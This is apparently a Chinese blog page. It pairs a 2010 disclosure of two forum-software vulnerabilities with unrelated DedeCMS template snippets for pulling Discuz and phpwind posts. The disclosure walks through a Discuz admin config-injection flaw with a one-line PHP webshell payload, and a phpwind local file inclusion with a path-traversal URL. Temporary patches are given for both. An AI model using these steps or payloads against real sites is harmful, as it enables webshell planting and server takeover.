不会的要多查多问,不然不会的永远不会,哪怕你离会就差了那么一点点
第一页 1 最后页 [ 显示模式: 摘要 | 列表 ]

discuz和phpwind的漏洞

[不指定 2010/09/03 00:27 | by 刘新修 ]

多人有了,流传出来了,然后发出来。现在的漏洞,如果主动公布的,肯定是“无鸡肋不公布”,否则肯定是藏着,除非别人公布了。DZ的鸡肋在于需要创建者的权限(创建者的密码一般比较难搞),pw的鸡肋在于需要截断(或者linux旁注写一个shell到tmp下)。

一、discuz后台settings.inc.php中写shell漏洞:

PHP代码
        
  1. if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {   
  2.     
  3.          $ucdbpassnew = $settingsnew['uc']['dbpass'] == '********' ? UC_DBPW : $settingsnew['uc']['dbpass'];   
  4.     
  5.          if($settingsnew['uc']['connect']) {   
  6.     
  7.              $uc_dblink = @mysql_connect($settingsnew['uc']['dbhost'], $settingsnew['uc']['dbuser'], $ucdbpassnew, 1);   
  8.     
  9.              if(!$uc_dblink) {   
  10.     
  11.                  cpmsg('uc_database_connect_error''''error');   
  12.     
  13.              } else {   
  14.     
  15.                  mysql_close($uc_dblink);   
  16.     
  17.              }   
  18.     
  19.          }   
  20.     
  21.   
  22.     
  23.          $fp = fopen('./config.inc.php''r');   
  24.     
  25.          $configfile = fread($fpfilesize('./config.inc.php'));   
  26.     
  27.          $configfile = trim($configfile);   
  28.     
  29.          $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;   
  30.     
  31.          fclose($fp);   
  32.     
  33.   
  34.     
  35.          $connect = '';   
  36.     
  37.          if($settingsnew['uc']['connect']) {   
  38.     
  39.              require './config.inc.php';   
  40.     
  41.              $connect = 'mysql';   
  42.     
  43.              $samelink = ($dbhost == $settingsnew['uc']['dbhost'] && $dbuser == $settingsnew['uc']['dbuser'] && $dbpw == $ucdbpassnew);   
  44.     
  45.              $samecharset = !($dbcharset == 'gbk' && UC_DBCHARSET == 'latin1' || $dbcharset == 'latin1' && UC_DBCHARSET == 'gbk');   
  46.     
  47.              $configfile = insertconfig($configfile"/define\('UC_DBHOST',\s*'.*?'\);/i""define('UC_DBHOST', '".$settingsnew['uc']['dbhost']."');");//正则表示从'到')中的被替换,而')可以被任意提交,from oldjun.com   
  48.     
  49.              $configfile = insertconfig($configfile"/define\('UC_DBUSER',\s*'.*?'\);/i""define('UC_DBUSER', '".$settingsnew['uc']['dbuser']."');");   
  50.     
  51.              $configfile = insertconfig($configfile"/define\('UC_DBPW',\s*'.*?'\);/i""define('UC_DBPW', '".$ucdbpassnew."');");   
  52.     
  53.              $configfile = insertconfig($configfile"/define\('UC_DBNAME',\s*'.*?'\);/i""define('UC_DBNAME', '".$settingsnew['uc']['dbname']."');");   
  54.     
  55.              $configfile = insertconfig($configfile"/define\('UC_DBTABLEPRE',\s*'.*?'\);/i""define('UC_DBTABLEPRE', '`".$settingsnew['uc']['dbname'].'`.'.$settingsnew['uc']['dbtablepre']."');");   
  56.     
  57.              //$configfile = insertconfig($configfile, "/define\('UC_LINK',\s*'?.*?'?\);/i", "define('UC_LINK', ".($samelink && $samecharset ? 'TRUE' : 'FALSE').");");   
  58.     
  59.          }   
  60.     
  61.          $configfile = insertconfig($configfile"/define\('UC_CONNECT',\s*'.*?'\);/i""define('UC_CONNECT', '$connect');");   
  62.     
  63.          $configfile = insertconfig($configfile"/define\('UC_KEY',\s*'.*?'\);/i""define('UC_KEY', '".$settingsnew['uc']['key']."');");   
  64.     
  65.          $configfile = insertconfig($configfile"/define\('UC_API',\s*'.*?'\);/i""define('UC_API', '".$settingsnew['uc']['api']."');");   
  66.     
  67.          $configfile = insertconfig($configfile"/define\('UC_IP',\s*'.*?'\);/i""define('UC_IP', '".$settingsnew['uc']['ip']."');");   
  68.     
  69.          $configfile = insertconfig($configfile"/define\('UC_APPID',\s*'?.*?'?\);/i""define('UC_APPID', '".$settingsnew['uc']['appid']."');");   
  70.     
  71.   
  72.     
  73.          $fp = fopen('./config.inc.php', 'w');  
  74.     
  75.          if(!($fp = @fopen('./config.inc.php', 'w'))) {  
  76.     
  77.              cpmsg('uc_config_write_error', '', 'error');   
  78.     
  79.          }   
  80.     
  81.          @fwrite($fp, trim($configfile));   
  82.     
  83.          @fclose($fp);   
  84.     
  85.      }    
  86.     
  87.   

漏洞详情:

settings.inc.php对提交的数据缺乏有效过滤,导致可以写入')污染配置文件的数据,而insertconfig函数的则匹配无法正确匹配到最后,导致可以经过2次输入可以成功绕过daddslashes把shell写进配置文件。

PHP代码
        
  1. function insertconfig($s$find$replace) {   
  2.     
  3. if(preg_match($find$s)) {   
  4.     
  5. $s = preg_replace($find$replace$s);//正则匹配替换数据   
  6.     
  7. else {   
  8.     
  9. $s .= "\r\n".$replace;   
  10.     
  11. }   
  12.     
  13. return $s;   
  14.     
  15. }   

漏洞测试:

步骤一:UC_IP(UC_IP是可选项,随便写入一般不影响程序运行)中写入污染数据:xxx');eval($_POST[cmd])?>提交;
步骤二:UC_IP随便输入aaa,正则匹配只匹配到了'),于是自动把分号前的闭合了。

临时补丁:

在if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {下添加:

PHP代码
        
  1. foreach($settingsnew['uc'as $key => $value){   
  2.     
  3. $settingsnew['uc'][$key]=str_replace(')','',$value);   
  4.     
  5. }  

二、phpwind后台本地包含漏洞:

漏洞详情:

文件:hack\rate\admin.php
源码:

PHP代码
        
  1. <?php   
  2.     
  3. !function_exists('readover') && exit('Forbidden');   
  4.     
  5. define ( "H_R", R_P . "hack/rate/" );   
  6.     
  7. define ( "L_R", R_P . "lib/" );   
  8.     
  9. InitGP ( array ('ajax' ) );   
  10.     
  11. $action = strtolower ( ($job) ? $job : "admin" );   
  12.     
  13. $filepath = H_R . "action/" . $action . "Action.php";   
  14.     
  15.   
  16.     
  17. (! file_exists ( $filepath )) && exit ();   
  18.     
  19.   
  20.     
  21. if ($job != "ajax") {   
  22.     
  23.      require H_R . '/template/layout.php';   
  24.     
  25. else {   
  26.     
  27.      require_once $filepath;   
  28.     
  29. }   
  30.     
  31.   
  32.     
  33. ?>    
  34.     
  35.   

$job可以自定义,触发本地包含,只不过addslashes了,因此不能通过%00截断;但可以通过若干///////截断,或者直接在tmp文件夹下写个shell来包含。具体不多说了,利用办法:

漏洞测试:

先在tmp下上传一个shell,名为Action.php
然后访问:http://127.0.0.1/pw/admin.php?adminjob=hack&hackset=rate&typeid=100&job=../../../../../../tmp/

临时补丁:

PHP代码
        
  1. $filepath = H_R . "action/" . $action . "Action.php";  

替换为:

PHP代码
        
  1. $filepath = Pcv(H_R . "action/" . $action . "Action.php");  

 

Tags: ,

在DEDE中,这是调用论坛新帖的代码,那么如何实现调用如从第三开始到第十的帖子呢?在DEDE中有个limit"3,10"的条件项,在调用phpwind论坛要如何实现这个功能??

{dede:loop table='pw_threads' sort='tid' row='4' if='fid=10'}
<li> <a href="../read.php?tid=[field:tid/]">[field:subject function="cn_substr('@me',28)"/]
</a> </li>{/dede:loop}

注意一点:要pw_threads换成你的数据库名称,且要在同一个数据库里面。

{dede:loop table="pw_threads" sort="tid" row="17"}
<li>
<a href='/Forum/read-Server-tid-[field:tid /].html' target="_blank">
[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d','@me')" /])
</a></li>
{/dede:loop}

 

[5.3版] 用Loop解决首页调用自定义字段!

 

{dede:loop table="自定义字段所在的表名" sort='aid' row="显示的条数" if="typeid =栏目ID"}
[field:自定义的字段名 /]
{/dede:loop}

参考代码:
{dede:loop table="dede_addonarticle" sort='aid' row="10" if="typeid =1"}
[field:zdy /]
{/dede:loop}

比较简单的方法,个人认为比SQL好用。

 

把<a href='/phpwind/read.php?tid=[field:tid /]'> 里面的phpwind改成你的论坛目录
然后把
{dede:loop table="pw_threads" sort="tid" row="10"}
<a href='/phpwind/read.php?tid=[field:tid /]'>
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])
</a>
<br/>
{/dede:loop}
这段加入到你的模板里就可以了。

 

 

loop调用discuz大全

 
 
 

我想在首页调用特定栏目的精华帖,但是JS太慢,想生成HTML。


我现在是这样调最新帖的,请问怎么调某个板块的精华帖?

论坛最新主题:<br/>
{dede:loop table="cdb_threads" sort="tid" row="10"}
<a href="/dz/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])
</a>
<br/>
{/dede:loop}



刚刚试了下,这样可以调特定板块的主题,现在就想问,怎么调精华主题?

论坛最新主题:<br/>
{dede:loop table="cdb_threads" if="fid=5 and displayorder!=-1" sort="tid" row="10"}
<a href="/dz/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])
</a>
<br/>
{/dede:loop}


再次发现,这样可以显示精华帖。

论坛最新主题:<br/>
{dede:loop table="cdb_threads" if="fid=5 AND digest>0 and displayorder!=-1 " sort="tid" row="10"}
<a href="/dz/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])
</a>
<br/>
{/dede:loop}



这样又可以按查看次数排序:
论坛最新主题:<br/>
{dede:loop table="cdb_threads" if="fid=5 and displayorder!=-1" sort="views" row="10"}
<a href="/dz/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])
</a>
<br/>
{/dede:loop}

 

今天我告诉大家一些在织梦dedecms里面调用discuz论坛帖子的一些方法,这些方法都是好不容易从网上搜来的,这次一次奉献给大家啦。
  首先要注意的是下面的代码中都有table="cdb_threads"这句。这句不是适用所有网站的,这个地方cbd是你论坛的表前缀名称,大家根据自己的论坛修改成合适的表前缀名。再者,我是把织梦和discuz 论坛放在一个数据库里面的,才开始放在两个数据库,整合了半天不成功,不知道是什么原因。后面放在一个数据库里面成功了。但是没有在放到两个数据库里面做测试,大家也可以测试下,告诉我结果了。按道理来说不限制放进同一个数据库才合理些!最后m-d H:M 带表是发布的时间,如果只要(日-月)时间格式的,把 H:M去掉即可。

  1、论坛最新主题调用代码如下:

{dede:loop table="cdb_threads" sort="tid" row="10"}
<a href="/bbs/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])</a>
<br/>
{/dede:loop}

这个连接地址你可以写相对路径,也可以写绝对路径。

  如果是discuz动态论坛,链接地址如http://bbs.xxx.com/viewthread.php?tid=[field:tid /]

  如果是discuz静态论坛,连接地址如http://bbs.xxx.com/thread-[field:tid /]-1-1.html

2、论坛指定版块帖子调用方法:

{ dede:loop table="cdb_threads" if="fid=1 or fid=2 and displayorder!=-1" sort="tid" row="6" }
<a href="/bbs/viewthread dot php?tid=[field:tid /]" target="_blank">
·[field:subject function="cn_substr(' @ me',50)" /] </a>
<br/>
{ /dede:loop }

其中的fid=1 or fid=2是论坛主题分类id,可以按照自己要求来修改,如果是一个分类就直接写fid=x

3、论坛调精华主题调用代码如下:

{dede:loop table="cdb_threads" if="displayorder!=-1" sort="tid" row="10"}
<a href="/bbs/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])</a>
<br/>
{/dede:loop}

如果想调用某个板块的精华主题代码如下:

{dede:loop table="cdb_threads" if="fid=5 and displayorder!=-1" sort="tid" row="10"}
<a href="/bbs/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])</a>
<br/>
{/dede:loop}

其中的fid=5是论坛主题分类id,可以按照自己要求来修改,

  如果想调用论坛所有的板块的最新精华主题只要去掉fid=5 and 就可以了。

  4、调用的帖子列表这可以按查看次数排序,代码如下:

{dede:loop table="cdb_threads" sort="views" row="10"}
<a href="/dz/viewthread.php?tid=[field:tid /]">
·[field:subject function="cn_substr('@me',30)" /]([field:lastpost function="date('m-d H:M','@me')" /])</a>
<br/>
{/dede:loop}
其中sort="views" 就是控制按照查看次数排序的代码

5、论坛置顶版块帖子调用方法举例:

{ dede:loop table="cdb_threads" sort="dateline" if="fid='3' and typeid='51'" row="10" }
<a href="/a/bbs/viewthread dot php?tid=[field:tid /]" target="_blank">
·[field:subject function="cn_substr(' @ me',30)" /]</a> <br>
{ /dede:loop }

6、论坛版块名称调用方法:

{ dede:loop table="cdb_forums" sort="displayorder" row="16" col="4" }
<a href="/bbs/viewthread dot php?fid=[field:fid /]">·[field:name function="cn_substr(' @me',30)" /] </a>
{ /dede:loop }

注:这种方法这个还有点问题,它会将论坛分区、版块都调出来。望达人改进!

附:dedecms的LOOP 标记规则

  功能说明:用于调用任意表的数据,一般用于调用论坛贴子之类的操作

  适用范围:所有模板

  基本语法:

  { dede:loop table=' sort='' row='' if='' }

  [1] table 表示查询的数据表

  [2] sort 用于排序的字段 也可以加"views"(查看次数排列)

  [3] row 返回结果的条数

  [4] if 查询条件

7、调用论坛帖子中的图片方法,网上搜到的,我自己还没有做测试。

{dede:sql sql="SELECT`cdb_attachments`.`aid`,`cdb_attachments`.`attachment`,`cdb_threads`.`tid`, `cdb_threads`.`fid`,`cdb_threads`.`subject` FROM `cdb_attachments` LEFT JOIN `cdb_threads`

ON`cdb_threads`.`tid`=`cdb_attachments`.`tid` WHERE `cdb_attachments`.`readperm`='0' AND`displayorder`>='0' AND `filetype`='image/pjpeg' GROUP BY tid LIMIT 0,1 "}
<a href="/bbs/viewthread.php?tid=[field:tid /]">
<img src="/bbs/attachments/[field:attachment/]" ALT="[field:subject/]" width="100" height="80" border="0" />
</A>
{/dede:sql}

 

 

Tags:
第一页 1 最后页 [ 显示模式: 摘要 | 列表 ]